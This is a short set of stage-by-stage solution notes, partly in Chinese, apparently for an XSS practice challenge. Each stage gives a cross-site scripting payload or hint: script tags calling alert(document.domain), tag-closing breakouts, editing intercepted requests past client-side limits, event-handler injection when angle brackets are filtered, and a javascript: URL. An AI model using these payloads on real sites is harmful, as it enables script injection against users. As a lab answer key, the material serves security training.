Stage 1
<script>alert(document.domain);</script>
Stage 2
闭合标签
”><script>alert(document.domain);<
Stage 3
Japan</option><script>alert(document.domain)</script>
Stage 4
注意隐藏属性
Stage 5
客户端限制，抓包修改，闭合input
Stage 6
限制了<>，利用事件进行触发
Stage 7
view plaincopyprint onmousemove=alert(document.domain)
Stage 8
javascript:alert(document.domain);
